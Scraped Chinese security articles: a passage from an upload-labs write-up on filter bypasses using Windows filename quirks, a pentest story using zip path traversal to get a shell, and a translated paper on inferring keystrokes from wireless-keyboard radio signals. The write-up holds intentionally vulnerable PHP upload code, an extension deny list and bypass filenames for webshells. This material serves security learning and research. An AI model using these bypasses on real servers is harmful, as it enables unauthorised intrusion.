弹窗提示的原因是因为没有文件名，那么我们创建 `.htaccess.`
windows又会自动的忽略掉后面的 `.` 而成功创建
**方法二：**
命令行窗口 + echo命令
开启命令行窗口，直接在命令行窗口输入 `echo [你要输入的文字] > .htaccess`
不仅能成功创建，还能直接将内容输入进文件内
# 黑名单与上传的文件名
### 什么是 Windows 特性
主要探究创建文件时的windows特性...
网上找了一圈资料没发现有具体的描述，看了upload-labs的一些其他writeup，发现里面都是一句，由windows特性可知...
我也不知道核心原理是什么，我就自行探索一下，有错误的地方大佬们请批评指正
系统：windows10旗舰版
**创建文件`1.php` ——》 设置为参照物**
**创建文件`1.php.` ——》进行一次弹窗 ——》确定更改后变为 `1.php`**
**且无论后面加多少个`.` ——》均进行一次弹窗 ——》确定更改后变为 `1.php`**
**创建文件`1.php[空格]` ——》直接变为 `1.php`**
**且无论后面加多少个空格 ——》均直接变为`1.php`**
**创建文件`1.php[空格].` ——》进行一次弹窗 ——》确定更改后变为 `1.php`**
**创建文件`1.php.[空格]` ——》进行一次弹窗 ——》确定更改后变为 `1.php`**
**创建文件`1.php.[空格]` ——》进行一次弹窗 ——》确定更改后变为 `1.php`**
**创建文件`1.php.[空格].` ——》进行一次弹窗 ——》确定更改后变为 `1.php`**
**然后尝试在文件后面不断循环几次`.`和空格**
**最后就不断弹窗，删除不了文件也没法重命名，打不开任何文件，只要点击鼠标就会弹窗（仿佛被植入xss...**
**最后通过重启电脑解决**
### Pass 5、6、7、9关
问：为什么要研究windows创建文件的特性？
答：通过windows特性，我们就是为了构造出一些特殊的文件名，既能绕过waf，又使php文件能正常解析
先贴一个针对5,6,7,9关过滤相对完全的代码
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
?>
针对上述相对过滤完全的代码，在 **没有中间件漏洞** 的情况下，对于我这种菜鸡来说还是难以突破的（大佬们可以指点一下...
先说一下 Pass-05
它的源码中缺少 `$file_ext = strtolower($file_ext); //转换为小写` 这一个过滤
所以常规的后缀名大小写混写就可以绕过黑名单的限制
`.php` ——》 `.phP`
再说一下 Pass-06
它的源码中缺少 `$file_ext = trim($file_ext); //首尾去空` 这个过滤点
所以我们构造 `ma.php[空格]`，上传后经过滤如下
然后成功创建文件
再看一下 Pass-07
它的源码中缺少 `$file_name = deldot($file_name);//删除文件名末尾的点` 这个过滤点
所以我们构造 `ma.php.`，上传后经过滤如下
最后通过windows的特性变为 `ma.php`
可能是因为做了6,7关（特别是第7关），突然好像有所顿悟，又回头看了看第5关...
**于是有了下面的错误思路**
回去再次读了一遍第5关的源码后发现只对 `.` 做出了一次过滤
那么我们可以传入 `ma.php.[空格].`于是在幻想中，过滤情形应该是这样的
**结果...**
所以说实际情况是
因为strrchr()函数的原因，所以中间件漏洞可以在此成功利用
[PHP strrchr() 函数](http://www.w3school.com.cn/php/func_string_strrchr.asp)
[部分中间件漏洞总结](https://www.anquanke.com/post/id/166616)
**第 9 关就不一样**
第 9 关拼接的路径为 `$img_path = UPLOAD_PATH.'/'.$file_name;`
所以采用上面的办法可以很顺利的完成绕过
补：deldot函数从后向前检测，当检测到末尾的第一个点时会继续它的检测，但是遇到空格会停下来
对比一下 Pass-05 和 Pass-09 会发现，Pass-09之所以能够成功执行的原因是因为他所拼接的文件路径是最开始读到的文件名
不难看出问题的关键还是拼接路径的方式，如果是拼接最开始读取到的文件名，显然是极其不安全的
# 除了 .htaccess 之外呢？
经过了 Pass-04这一关我们可以发现 `.htaccess`的妙用
但是 upload-labs 也忽略了一些其他的小 trick
思路学习自 p神博客 [离别歌-user.ini文件构成的PHP后门](https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html)
>
> .user.ini。它比.htaccess用的更广，不管是nginx/apache/IIS，只要是以fastcgi运行的php都可以用这个方法。我的nginx服务器全部是fpm/fastcgi，我的IIS
> php5.3以上的全部用的fastcgi/cgi，我win下的apache上也用的fcgi，可谓很广，不像.htaccess有局限性。
我们还可以看一波官方怎么说 [.user.ini
文件](https://www.php.net/manual/zh/configuration.file.per-user.php)
> 除了主 php.ini 之外，PHP 还会在每个目录下扫描 INI 文件，从被执行的 PHP 文件所在目录开始一直上升到 web
> 根目录（$_SERVER['DOCUMENT_ROOT'] 所指定的）。如果被执行的 PHP 文件在 web 根目录之外，则只扫描该目录。
由此可见配置会被重新上传的 `.user.ini` 重新更改
更多详细介绍可以看网上的这篇文章 [神秘的.user.ini文件](https://segmentfault.com/a/1190000011552335)
# 二次渲染？
对这个的思考来源于Pass-16 和一篇先知的文章：[upload-labs之pass
16详细分析](https://xz.aliyun.com/t/2657)
贴上它的源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型，合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片！";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片（使用用户上传图片生成的新图片）
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错！";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片！";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片（使用用户上传图片生成的新图片）
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错！";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片！";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片（使用用户上传图片生成的新图片）
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错！";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
}
}
> 先知这篇文章中提到：
>
> 在这里有一个问题,如果作者是想考察绕过二次渲染的话,在move_uploaded_file($tmpname,$target_path)返回true的时候,就已经成功将图片马上传到服务器了,所以下面的二次渲染并不会影响到图片马的上传.如果是想考察文件后缀和content-> type的话,那么二次渲染的代码就很多余.(到底考点在哪里,只有作者清楚.哈哈)
先知的文章将过程写的很详细，想到了不久之前的 DDCTF 中也有一道二次渲染的考题
DDCTF中的 Upload-IMG
这题，设计到了GD库的二次渲染，通过一个小脚本即可绕过：[绕过GD库渲染的WEBSHELL生成器](https://wiki.ioin.in/soft/detail/1q)
> 官方的writeup如下
> 经验就是
> 1、图片找的稍微大一点 成功率更高
> 2、shell语句越短成功率越高
> 3、一张图片不行就换一张 不要死磕
> 4、可以把gd处理的图片再用工具跑一遍再传
# imagemagick 邂逅 getimagesize
Pass-14 中涉及到了 getimagesize
getimagesize() 函数将测定任何
GIF，JPG，PNG，SWF，SWC，PSD，TIFF，BMP，IFF，JP2，JPX，JB2，JPC，XBM 或 WBMP
图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
前端时间P牛更新了他的博客，[imagemagick邂逅getimagesize的那点事儿](https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html):
<https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html>
有兴趣的大佬们可以深究一下... | 社区文章 |
# 开端
前几个月被授权进行某大型运营商的渗透，在过程中也是遇到了一些比较有意思的东西，特此记录一波
最开始是通过一个webpack+未授权访问的接口获取了另一个系统的权限，根据获取到的口令进行复用对其他资产进行登录尝试，发现了这样一个系统
登录进去之后是一个摄像头的管理平台，里面包含了各种各样的功能，但经过一番简单的尝试，一些常见的漏洞如文件上传、sql注入均不存在；这个时候我就又把这个后台所有功能翻了一遍，发现这个后台的备份还原功能可能存在问题
# 斗智斗勇
点击手动备份之后，需要输入登录密码和一个加密密码，加密密码是可以任意输入的；确认之后，就会返回给你一个压缩包，打开一看是这样的一个结构
看到这个properties文件还是有点激动，当时还以为这里面可能会有数据库密码之类的东西，数据库拿下了getshell的几率不就大大增加了吗（这个公网ip是开放了一个mysql服务的）；于是怀着激动忐忑的心情点击解压，但输入了登录密码、加密密码都不对，这个时候我就有点懵逼了，敢情你这个加密密码就是个摆设？
怀着*了狗的心情，又去看了下这里的还原功能，发现就是备份的逆逻辑，在你上传一个压缩包之前同样需要输入加密密码；于是猜测这里的加密密码后端是做了一些处理的，单纯的使用加密密码无法解压备份文件
这个时候，首要任务是找到后端对这个加密密码的处理逻辑；首先我抓包看了下这里的包，发现这里的登录密码和加密密码传送到后端时是经过加密了的，于是我大胆猜测这里前端的加密可能和后端的一致；经过一天对前端
JS 的分析，总算是分析出了前端的加密逻辑，然而我还是低估了这个系统的开发人员，加密后的密码依然不能解压备份文件
PS：这个时候我真心觉得这系统是真TM安全啊
# 峰回路转
没办法了，和小伙伴吐槽了一通，他建议我去官网找下产品手册，也许手册里有写相关的内容呢；我只好抱着死马当做活马医的心态去官网翻了一遍，手册没找到，倒是找到了一个修复补丁包
里面不但有后台的部分代码（class文件），还贴心的告诉了你补丁包的具体使用方法，比如安装路径等等。。
真就离大谱，这种东西为啥会直接放出来。。
直接代码包解压，导入idea，开审！
首先要找到备份相关逻辑，直接全局搜索对应的路由关键字，找到了后端对加密密码的处理逻辑，用加密后的加密密码去解压备份文件，可惜的是备份文件中并没有我想要的信息，只有这个后台相关的一些数据库数据，没任何鸟用；没办法了，只有对这残缺的代码继续审了，幸运的是，很快就从这个系统引入的依赖发现了突破口
这里引入的 ant.jar 包版本是漏洞的，在它对压缩包进行解压时，没有正确的对 ../
进行处理，会导致目录穿越的发生；由于之前补丁包中告诉了我们正确的web路径，所以这里大概率是能getshell的
# GETSHELL
首先我们构造一个形如这样的压缩包
opt里面即是该系统的具体web路径+webshell文件，构造完之后还需要使用加密后的加密密码对该压缩包进行加密
PS：这一步其实坑挺多的，构造目录穿越压缩包的脚本很多，但基本没有提供压缩包加密功能；提供压缩包加密软件的又不能构造形如 ../
的目录（当时脑子卡了，后面才想到用linux的命令应该可以构造），最后是使用了某国产数字压缩软件成功进行了构造（国产YYDS）
将构造好的压缩包通过备份还原功能上传，成功getshell
# 总结
这个系统的厂商还算是比较大的（小水一个cnvd证书 ^^_），没搞懂为什么会把补丁包放在网上；系统本身的安全还是到位的，可惜被这一手神操作直接毁了 | 社区文章 |
# BrokenStrokes：针对无线键盘的三类攻击
|
##### 译文声明
本文是翻译文章，文章原作者 Gabriele Oligeri, Savio Sciancalepore, Simone Raponi, Roberto Di
Pietro，文章来源：wisec2020.ins.jku.at
原文地址：<https://wisec2020.ins.jku.at/proceedings/wisec20-70.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
事实证明，由于与射频（RF，radio-frequency）辐射相关的固有泄漏，采用事件触发通信的无线设备会遇到严重的隐私问题。仅通过窃听无线键盘使用的通信通道即可实施有效而有效的攻击，从而检测出预先定义的关键字的类型。本文提出BrokenStrokes攻击：当窃听天线距离目标键盘达15米时，它就实现了其目标，而不管加密方案、通信协议、无线电噪声的存在和物理障碍的存在如何。在当前的三种场景中详细描述了攻击，并讨论了其性能-在正常操作条件下其成功概率超过90%，但本文也提供了如何减轻攻击的一些建议。本文中使用的数据已作为开源代码发布，以允许从业者、工业界和学术界验证，并将其作为进一步发展的基础。
## 0x01 Introduction
无线键盘在家庭，娱乐场所和娱乐系统中变得越来越流行，从而实现了与计算设备微小和优雅的交互。尤其是在拥挤的桌面上，无线键盘减少了要连接的电线数量，在优雅和整洁方面具有明显优势。此外，它们扩展了与终端的交互作用区域，从而减轻了工作压力。
尽管无线键盘很流行，但它们仍然存在一些保密性和隐私性问题，这主要是由无线通信链路的广播特性和电量限制引起的。实际上，与传统的有线键盘相比，无线键盘使用无线通信介质，其中信息会暴露于潜在的窃听中。同时，无线键盘依靠电池供电，必须实现“科学的计算和通信策略”，最大限度地减少射频（RF）操作，以延长电池寿命。从安全性的角度来看，许多传统的无线键盘部署得非常薄弱，或没有防止窃听攻击。在上述情况下，通过以键盘相同的操作频率调整恶意接收器，可以很容易地实现攻击。一些研究人员也证明了主动攻击的可行性，例如击键注入和重放，能够破坏通信链路并降低无线键盘的可用性和安全性。尽管制造商正在设计，实施和提供越来越多的无线键盘安全解决方案，但无线键盘的内在安全性仍需要处理可用性和电量限制。实际上，无线键盘必须为电子设备触发新的RF通信。每个新的击键，以确保最小的打字延迟和最大的可用性。同时，此类RF通信应持续最短的时间，以最大程度地减少电池消耗并延长键盘电池本身的寿命。
## 0x02 Scenario and Assumptions
本研究考虑由无线键盘系统（即，将用户的击键无线传输到连接到计算机的USB加密狗dongle的键盘）构成的一般情况。在这种情况下，攻击会影响可用于维持键盘和加密狗之间的通信的所有无线通信协议，例如蓝牙，WiFi和专有协议。在不失一般性的前提下，考虑了三种广泛采用的无线键盘，如下表所示。所有键盘均具有专有的通信协议，这些协议利用ISMbandwidth
[2.4-2.5]
GHz进行通信。本文解决方案既不涉及被考虑的无线键盘采用的协议的黑客攻击，也不涉及逆向工程。此外所有被考虑的键盘加密方案均会阻止直接访问交换消息的内容。
**设备：** 采用了商用笔记本电脑（Dell XPS 15 9560），它具有Linux发行版和GNU
Radio（免费和开源软件开发工具包），商用SDR，以及全向（VERT2450）或定向天线（Aaronia HyperLOG
60350），具体取决于所考虑的攻击方案。最后，本文中采用的所有建议算法，技术和过程均已在Matlab R2019a中实现。
在以下参考场景中，对BrokenStrokes攻击进行了测试：
**（1）方案1-近距离攻击（ Proximity attack）：**
SDR具有标准的全向天线（VERT2450）。将SDR放置在键盘加密狗通信链接的附近，隐藏在桌子下面。这种攻击涉及攻击者能够访问目标用户的位置（例如，办公室，家），并且能够将SDR放置在非常靠近无线键盘的位置，例如，在用户的桌子下方或附近。
**（2）方案2-墙后攻击（Behind-the-wall attack）：** SDR已连接到定向天线（Aaronia HyperLOG
60350），并且天线与键盘-加密狗通信链接之间没有视线（LOS）。此攻击认为攻击者在收集目标用户击键时间的同时处于阻碍对象的后面（例如墙后），因此，可能未被发现。
**（3）方案3-远程攻击（Remote attack）：** 在设置中，SDR连接到远程定向天线（Aaronia HyperLOG
60350），攻击者位于远离目标用户的位置，但是目标具有清晰的LOS，并且可以从远程位置收集按键间的时间间隔（长达15m）。
**多个用户：**
本文考虑了三个不同的用户，即{U1，U2，U3}，并评估了用户的打字速度如何影响BrokenStrokes攻击。注意，本文考虑的用户数量与有关击键分析的相关工作一致。
**噪音：** 注意，实验是在常规条件下进行的，没有采取任何措施来减少其他设备共享目标键盘的相同通信频率而产生的噪声。
**关键字数据集：**
BrokenStrokes涉及两个阶段的攻击，即将接收到的信号强度峰值转换为击键间时间，然后转换为关键字。虽然绝大多数文献集中在通过利用不同的物理层黑客将击键之间的时间转换为关键字，但本研究主要集中在设计可靠和有效的解决方案以将接收信号强度转换为计时。在不失一般性的前提下，在本文中仅将一个关键字（即
_password_ ）视为攻击的第二部分。
## 0x03 BrokenStrokes in a Nutshell
BrokenStrokes的计算流量包括：（i）测量键盘和加密狗之间传输的消息的接收信号强度（RSS）；（ii）利用这些测量值来提取击键间时间；（iii）借助机器学习（ML）技术来生成似然度得分，该分数表示目标用户的击键序列中存在预先定义的关键字。
采用了MiriadRF LimeSDR来测量每个击键事件生成的数据包的RSS，通过GNU
Radio来调整SDR的参数。具体而言，观察到当没有键入任何击键时，无线键盘处于空闲状态。用户一旦按下任意按钮，就会触发从键盘到加密狗的新传输，从而产生特定于峰值的工作频率。
将配置有适当工作频率，10 MHz带宽和30 MHz采样率的LimeSDR Source（RX）标准模块连接到QT GUI Frequency
Plot模块，在其中启用了RSS日志（在特定工作频率上的RSS值超过预定阈值时的dBm）和时间戳（以纳秒为单位）。
随后由一连串的Matlab脚本（即按键定时提取和ML算法）处理由Acquisition模块生成的包含RSS和时间戳的日志文件，以生成与关键字存在相关的似然度分数。击键时间提取模块旨在识别击键模式并生成击键之间的时间，即用户随后两次击键之间的时间。然后，将到达间隔时间传递给ML算法，该算法提供关于存在击键的可能性得分预先定义的关键字-ML算法先前已用于训练要重复检测相同关键字的模型。下一章将提供BrokenStrokes攻击所涉及的每个阶段的更多详细信息。
## 0x04 From RSS To Keyword Detection
在本节中将展示BrokenStrokes的详细信息，并提供一种可被攻击者用来检测用户通过无线键盘键入的任意长句子中关键字的存在的机制。在不失一般性的前提下，考虑方案1即近距离攻击，而在后面的部分中将把方法扩展到其他方案。
上图显示了从SDR收集的RSS样本，采样速率为每秒30^(6)个样本。要求U1键入50次关键字“password”，然后收集与键盘和加密狗之间交换的消息相关的RSS估计值。强调关键字“password”与任何特定的用户密码都不相关。实际上，它代表一个通用的8个字母的关键字，在不失一般性的情况下，可以将其重新转换为用户以任意长的击键顺序键入的任何关键字。
RSS样本显示了一个清晰的模式，由垂直带组成：每个单词一个带，因为U1输入关键字，先击中返回，然后再次开始-总共重复了50个单词“
password”。上图中的红色实线表示用于过滤RSS样本的阈值，即，仅考虑阈值以上的样本用于后续处理。稍后，在筛选出与干扰相关的样本的同时，仅保留来自键盘-加密狗通信的样本，阈值的重要性将变得很清楚。观察到在这种特定情况下（近距离攻击），样本的绝大多数主要集中在[-20，-35]
dBm的范围内，因此，可以采用任何小于-35dBm的阈值这个目的。
在下面，通过双阶段过程提取键间计时器：（i）单词识别；
（ii）击键时间提取。第一阶段利用RSS样本来识别目标用户键入的单词，而第二阶段则着重于提取与先前识别的单词相关的击键时间。
### A.单词识别
上图的顶部显示了为实验收集的样本，其中所有RSS值均已归一化为相同值，这是与后续分析无关的RSS值。为了提取与每个单词的开头相关的时间，考虑了预定持续时间的滑动窗口，并计算了属于该单词的样本数（从轨迹的开始到结尾滑动时）。滑动窗口的大小很重要，其配置取决于用户和要检测的单词。例如，对于单词“password”，考虑为用户U1，U2和U3分别设置大小为2.4、1.7和2秒的滑动窗口。此外，根据经验，假设滑动步长为窗口大小的1/50。最后在这项工作中，假设滑动窗口的持续时间可以由对手预先设置。实际上，它可以通过查看所收集的样本来适当地校准滑动窗口，并据此进行设置。上图的底部显示了从滑动开始到给定的一定延迟（毫秒）的，属于滑动窗口的样本数量。同时，上图底部的峰值表示新单词的开头。确实，如果滑动窗口的持续时间得到了正确的校准，则当窗口位于单词的开头时，采样数将是最大的。上图顶部的垂直红线显示了相对于RSS采样位置（黑色圆圈）的已识别峰。
### B.击键时间提取
对于每个已识别的单词（上图中的垂直红线），进行了以下分析。首先关注从一个单词收集的样本，如下图的顶部所示。观察到“password”一词由9组样本组成（8个字母和回车）。每个样本组又可以分为两个子组：第一组大约20个样本，第二组大约5个样本，如下图的底部所示。
假设第一个子组属于键盘发送到加密狗的信息包，而第二个子组属于加密狗发送给键盘的确认消息。直觉是每次击键对应于键盘的一次传输和对应的加密狗的确认消息。在不失一般性的情况下，不考虑与场景1一致的键盘和加密狗之间的任何数据包丢失。窃听设备非常靠近键盘-加密狗通信链接。在本工作的后续部分（针对场景2和3）以及缓解该策略的策略将考虑干扰。为了正确识别按键时间，采用了滑动窗口持续时间为0.024秒，滑动步长为窗口大小的1/50。滑动窗口持续时间考虑了键盘和加密狗之间的通讯往返延迟，并且取决于键盘的品牌/型号，它需要对收集的样本进行预处理。
**误差边界：**
将BrokenStrokes攻击提取的击键时间与标准击键记录器记录的时间进行比较。为此开发了一个简单的Python脚本来记录先前测量期间的击键时间，随后将该时间序列与从BrokenStrokes攻击中收集到的时间序列进行了比较。对三个不同的用户（即U1，U2和U3）进行了先前的分析，如上图所示。上图的底部显示了分位数0.05与在键盘的50次重复过程中收集的击键间时间相关。使用键盘记录程序输入单词“
password”。在先前的分析中没有考虑回车键，而是只考虑了“
password”一词中两次后续击键之间的时间。本文仅考虑了击键间隔时间的分位数0.05，因为它代表了最坏的情况，即击键对的时间差最小为5％。上图的顶部示出了由BrokenStrokes攻击收集的击键间定时与采用按键记录器所收集的击键间定时之间的差（误差）的绝对值（图的底部）。对于每个框，中心标记代表中位数，而框的底部和顶部边缘分别代表25％和75％。观察到，即使在最坏的情况下，与通过按键记录器收集的数据计算出的平均按键间计时时间为200毫秒相比，该错误始终小于20毫秒。综上所述，误差的主位值约为5ms（对于所有用户），是按键记录程序收集的按键间计时的分位数0.05的2％。
**用户独立性：**
单词识别和击键时机提取与用户无关，即SDR执行的处理只会引入一个较小的延迟，不会影响击键间时机的模式。因此，已经提出的通过利用击键间时间来影响用户隐私的技术可以通过使对手远离目标用户而得到显着增强。
### C.关键字检测
本文提出了一种基于机器学习的解决方案，它可以适应小的按键间敲击时间误差和在窃听阶段所经历的干扰。考虑仅使用一个类的（即单词“password”的50个实例）进行训练的支持向量机（SVM）分类器。通过利用SVM分类器计算的似然比来将关键字“password”与异常值（即其他词）区分开来。关键字检测阶段由BrokenStrokes的ML模块执行，包括以下三个步骤：
**（1）训练：** 本研究训练了一个带有50个关键字“
password”副本的一类SVM模型。采用高斯核函数并标准化了预测变量数据，即通过相应的加权列平均值和标准偏差对每个预测变量进行居中和缩放;最后，将训练数据中离群值的预期比例设置为0.05。
**（2）击键间隔时间划分：** 通过使用步长为一个击键大小的滑动窗口对测试集中的击键间隔进行划分，即，两个相邻窗口重叠在所有元素上，但一个重叠。
**（3）得分指数生成** ：使用训练完成的一类SVM分类器测试所有分区，以获得每个分区（滑动窗口）的相似度（可能性）。
要接受或拒绝某个值作为关键字的开头，需要定义一个决策阈值以及相关的统计指标，即真阳率（TP）和 假阳率（FP）。令{s0,…,sN}为一组相似性得分。
定义决策阈值（∆）作为相似性得分值，以使 **min** i(si)+
∆表示假定关键字包含在句子中的最小值。定义TP的相似度得分，该得分超过∆，同时具有与关键字在当前句子中的实际位置一致的位置。将FP相似度得分定义为超过∆且同时具有与关键字的实际位置不一致的位置（偏移）的相似性得分。
假设一个位置与关键字的实际开头的距离大于两次击键时的位置不一致。在接下来的部分中，考虑∆ =
0（即，不考虑∆的影响）。值得注意的是，上述过程并不需要攻击者知道特定关键字的键入时间，实际上，攻击者可以先获取所有击键，然后再执行攻击。
## 0x05 Scenario 1: Proximity Attack
本节估计在实际情况下BrokenStrokes的性能。要求用户U1重复三个不同的句子30次：（i） _your password is secret_ ；
（ii） _the secret of your password_ ； （iii） _your secret password is mine_
，这些句子的特征是关键字与句子开头的偏移量不同。考虑了方案1（近距离攻击），因此在正常情况下，人们周围走动和干扰的源头（例如，许多WiFi网络和蓝牙设备）将窃听设备放置在非常靠近键盘-加密狗通信链路的位置。考虑到SDR与键盘-软件狗通信链路之间的距离，采用了直接连接到SDR的标准VERT2450全向天线。上图显示了SVM分类器提供的相似度得分与滑动窗口偏移量的函数关系。已根据击键间隔的次数（即7）构成了关键字“
password”，而滑动步数等于一个击键，相似分数在某个偏移处达到峰值意味着后续采样很可能与采样匹配在训练集中，因此，当前的偏移量很可能是关键字的开头。观察到对于所有这三个在句子中，SVM分类器在关键字“
password”开始的偏移处返回更高的相似分数。此外，观察到BrokenStrokescan定位了密码的位置，同时还遇到了一定程度的不确定性，即并非所有主要峰值都准确地位于关键字开始的位置。确实，干扰可能会增加假按键或使现有按键无法检索。总体而言，此现象仅对攻击性能产生轻微影响，并且关键字位置的不确定性通常在实际位置的±1击键范围内。通过重新考虑上图的结果，提取了每个句子的最高分，并将其位置与对应于与关键字“
password”开头的实际位置相对应的位置进行了比较。下图显示了在计算关键字的预期位置时出现次数与错误的关系。观察到大约31％的检测事件没有发生任何错误（90个事件中有27个），此外观察到45％的检测事件仅受一次按键错误的影响，而只有14％的检测事件受到错误的影响。检测事件比实际事件早2次击键。因此，在90％的情况下，BrokenStrokes可以找到关键字“password”，且输入错误少于2次。下图中的红色实线表示最佳拟合分布是正态分布，平均值为-1.06，标准偏差为2.47。
## 0x06 Scenario 2: Keyword Detection From Behind a Wall
方案2在周围人满为患的环境中进行攻击，在一个办公室中设置窃听设备，然后从附近的办公室发起攻击。目标用户知道本次的攻击，并在被要求重复相同句子30次（即
_you can choose a random password_ ）。天线已放置在距目标用户4.5米的位置，而约20厘米的混凝土墙则挡住了视线。
采用了与以前相同的测量设置和分析方法，并在上图中报告了相似度得分与滑动窗口偏移量的关系。在第25次击键时重复了前面的过程，对包含关键字“
password”的30个句子进行了排序。观察到绝大多数相似度峰值集中在24和25号位置，即一次击键的滞后主要是由于在监听阶段丢失了样本。此外，突出显示了远离预期偏移峰的存在，即在19处出现一个峰，在7到13范围内还有一些峰。将这些峰视为FP，即不存在关键字，但是算法仍然估计它的存在可能性。在30个样本中的19个样本中，该算法可以正确识别关键字的位置，而在10个样本中，BrokenStrokes提供的关键字的位置（略有错误）。
FP数主要归因于两个因素：（i）阻碍视线的墙壁会影响键盘发送的样本的RSS；（ii）办公环境特别容易受到干扰。BrokenStrokes对干扰特别敏感，因为它利用RSS估计来生成按键间时序。在下一节中将详细讨论减轻FP数的策略
。
## 0x07 Scenario 3: Remote Attack
在本节中考虑方案3（远程攻击），其中攻击者利用定向天线（Aaronia
HyperLOG60350）进行BrokenStrokes攻击。在这种情况下，目标用户在一栋两层别墅的一楼，靠近窗户。将窃听天线放置在距离键盘-加密狗通信链接1、5、10、15和20米处。定向天线与键盘加密狗之间的链接仅被一个窗口遮挡，因此将其视为LOS攻击。
上图显示了与先前考虑的距离相关的RSS样本。首先观察到，当窃听天线远离目标用户时，干扰会显着增加（图底部的黑色区域）。可以通过观察定向天线的主瓣越来越暴露于可能位于附近别墅中的发射实体（例如，WiFi，蓝牙和其他干扰源）来解释此问题。此外，观察到与属于键盘加密狗通信信道的实际RSS样本相关的峰值分别在1m和20m处在-15dBm和-20dBm之间变化。最后根据经验考虑了最低可能值和最小干扰，从而对阈值（水平红线）进行了校准。
上图（顶部）显示了分析结果：BrokenStrokescan可以在10米的距离内识别大约100％的单词，而在15米和20米时，其性能分别下降到大约54％和24％。此外，图底部显示，BrokenStrokes可以成功地在10米以内的9次击键（“password”
+回车）中成功检索9个，而从15米的距离开始，其性能却受到显着影响。尽管如此，观察到即使在20米的距离内，提取的击键次数仍然很高，从9个中位值中识别出8次击键。单词识别和击键时间提取不足以检测键盘中击键的存在。目标用户。因此，下面，采用ML技术（SVM）来计算远程目标用户键入的句子中关键字”password”的存在（和位置）的可能性（相似性得分），下图显示了由SVM算法生成的相似性评分，该算法通过对关键字“
password”进行10次重复训练而得到训练。每个相似性得分是通过以1个击键的移动步长测试7个击键间时间的滑动窗口来计算的。下表显示了TP和FP的数量（30个句子中的数量）与窃听距离的关系。
BrokenStrokescan在绝大多数情况下（≥73％）检测到关键字的存在和位置，即相似性得分的峰值集中在关键字“
password”实际位置的大约相同偏移量（±1）处。此外，观察到存在一些FP（<=
23％），即在句子的不同偏移处分布有较小的峰值。下一节提供了对此现象的全面分析。
## 0x08 BrokenStrokes Performance
在本节中将考虑所有讨论的三种情况，以提供对BrokenStrokes攻击性能的估计。如前所述，使用关键字“password”的10个重复序列训练了一种统计学习算法（SVM），并在几个句子的相邻子集（滑动窗口）上测试了这种模型。对于每个测试，SVM算法都会提供一个相似度得分（即，可能性），以使此类字符子集与正在寻找的关键字匹配。因此，每个句子成为相似性得分的载体。在前面的部分中，考虑了决策阈值∆
= 0，而在下文中，研究了∆如何影响BrokenStrokes的性能-将在[0,…,0.03]范围内变化∆。下图显示了TPs随∆的变化，本文已经讨论了所有主要的度量标准：（i）近距离攻击（句子“ _your password
is secret_ ”）； （ii）墙后攻击（句子“ _you can choose a random password_ ”）；
（iii）分别在5米，10米和15米的距离进行远程攻击（句子“ _a password has many characters_
